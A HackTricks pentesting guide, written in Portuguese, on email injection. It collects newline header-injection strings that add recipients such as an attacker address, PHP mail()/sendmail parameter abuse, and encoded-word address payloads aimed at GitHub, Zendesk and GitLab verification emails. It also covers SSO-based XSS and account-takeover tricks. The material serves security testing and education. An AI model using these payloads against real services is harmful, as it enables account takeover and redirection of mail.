hacktricks/src/pentesting-web/email-injections.md

# Injeções de E-mail

{{#include ../banners/hacktricks-training.md}}

## Injetar em e-mail enviado

### Injetar Cc e Bcc após o argumento do remetente
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
A mensagem será enviada para as contas de destinatário e destinatário1.

### Argumento de injeção
```
From:sender@domain.com%0ATo:attacker@domain.com
```
A mensagem será enviada ao destinatário original e à conta do atacante.

### Injetar argumento de Assunto
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Depende do comportamento do serviço de e-mail.

### Mudar o corpo da mensagem

Injete uma quebra de linha dupla e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Exploração da função mail() do PHP
```bash
# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### O 5º parâmetro ($additional_parameters)

Esta seção será baseada em **como abusar deste parâmetro supondo que um atacante o controla**.

Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função `escapeshellcmd($additional_parameters)`.

Um atacante pode **injetar parâmetros adicionais para sendmail** neste caso.

#### Diferenças na implementação de /usr/sbin/sendmail

A interface do **sendmail** é **fornecida pelo software de e-mail MTA** (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a **funcionalidade básica** (como os parâmetros -t -i -f) permaneça a **mesma** por razões de compatibilidade, **outras funções e parâmetros** variam muito dependendo do MTA instalado.

Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:

- Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
- Postfix MTA: http://www.postfix.org/mailq.1.html
- Exim MTA: https://linux.die.net/man/8/eximReferences

Dependendo da **origem do binário sendmail**, diferentes opções foram descobertas para abusar delas e **vazar arquivos ou até executar comandos arbitrários**. Confira como em [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)

## Injetar no nome do e-mail

> [!CAUTION]
> Note que se você conseguir criar uma conta em um serviço com um nome de domínio arbitrário (como Github, Gitlab, CloudFlare Zero trust...) e verificá-la recebendo o e-mail de verificação no seu endereço de e-mail, você pode ser capaz de acessar locais sensíveis da empresa vítima.

### Partes ignoradas de um e-mail

Os símbolos: **+, -** e **{}** em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail.

- Ex.: john.doe+intigriti@example.com → john.doe@example.com

**Comentários entre parênteses ()** no início ou no final também serão ignorados.

- Ex.: john.doe(intigriti)@example.com → john.doe@example.com

### Bypass de whitelist

<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>

### Citações

<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>

### IPs

Você também pode usar IPs como nomes de domínio entre colchetes:

- john.doe@\[127.0.0.1]
- john.doe@\[IPv6:2001:db8::1]

### Codificação de E-mail

Como explicado em [**esta pesquisa**](https://portswigger.net/research/splitting-the-email-atom), nomes de e-mail também podem conter caracteres codificados:

- **PHP 256 overflow**: A função `chr` do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação `%256`.
- `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`

> [!TIP]
> O objetivo deste truque é terminar com uma injeção como `RCPT TO:<"collab@psres.net>collab"@example.com>`\
> que enviará o e-mail de verificação para um endereço de e-mail diferente do esperado (portanto, para introduzir outro endereço de e-mail dentro do nome do e-mail e quebrar a sintaxe ao enviar o e-mail).

Codificações diferentes:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:

- Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
- Note o `@` codificado como =40, o `>` codificado como `=3e` e `null` como `=00`
- Ele enviará o email de verificação para `collab@psres.net`
- Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
- Mesma técnica de antes, mas adicionando uma aspa regular no início e a aspa codificada `=22` antes do `@` codificado e, em seguida, iniciando e fechando algumas aspas antes do próximo email para corrigir a sintaxe usada internamente pelo Zendesk
- Ele enviará o email de verificação para `collab@psres.net`
- Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
- Note o uso do sublinhado como um espaço para separar o endereço
- Ele enviará o email de verificação para `collab@psres.net`
- Punycode: Usando Punycode, foi possível injetar uma tag `<style` no Joomla e abusar dela para roubar o token CSRF via exfiltração de CSS.

#### Tooling

- Há um **script do Burp Suite Turbo Intruder** para fuzz essas combinações para tentar atacar formatos de email. O script já possui combinações potencialmente funcionais.
- Também é possível usar [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) para criar um ataque de divisão de email

### Other vulns

![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)

## Third party SSO

### XSS

Alguns serviços como **github** ou **salesforce permitem** que você crie um **endereço de email com payloads XSS nele**. Se você puder **usar esses provedores para fazer login em outros serviços** e esses serviços **não estiverem sanitizando** corretamente o email, você pode causar **XSS**.

### Account-Takeover

Se um **serviço SSO** permitir que você **crie uma conta sem verificar o endereço de email fornecido** (como **salesforce**) e depois você puder usar essa conta para **fazer login em um serviço diferente** que **confia** no salesforce, você poderá acessar qualquer conta.\
_Observe que o salesforce indica se o email fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação._

## Reply-To

Você pode enviar um email usando _**From: company.com**_ e _**Replay-To: attacker.com**_ e se qualquer **resposta automática** for enviada devido ao email ter sido enviado **de** um **endereço interno**, o **atacante** pode ser capaz de **receber** essa **resposta**.

## Hard Bounce Rate

Certos serviços, como AWS, implementam um limite conhecido como **Hard Bounce Rate**, tipicamente definido em 10%. Esta é uma métrica crítica, especialmente para serviços de entrega de email. Quando essa taxa é excedida, o serviço, como o serviço de email da AWS, pode ser suspenso ou bloqueado.

Um **hard bounce** refere-se a um **email** que foi retornado ao remetente porque o endereço do destinatário é inválido ou não existe. Isso pode ocorrer por várias razões, como o **email** sendo enviado para um endereço inexistente, um domínio que não é real, ou a recusa do servidor do destinatário em aceitar **emails**.

No contexto da AWS, se você enviar 1000 emails e 100 deles resultarem em hard bounces (devido a razões como endereços ou domínios inválidos), isso significaria uma taxa de hard bounce de 10%. Atingir ou exceder essa taxa pode fazer com que o AWS SES (Simple Email Service) bloqueie ou suspenda suas capacidades de envio de email.

É crucial manter uma baixa taxa de hard bounce para garantir um serviço de email ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de email em suas listas de mala direta pode ajudar significativamente a alcançar isso.

Para informações mais detalhadas, a documentação oficial da AWS sobre como lidar com bounces e reclamações pode ser consultada em [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).

## References

- [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
- [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
- [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
- [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0)

{{#include ../banners/hacktricks-training.md}}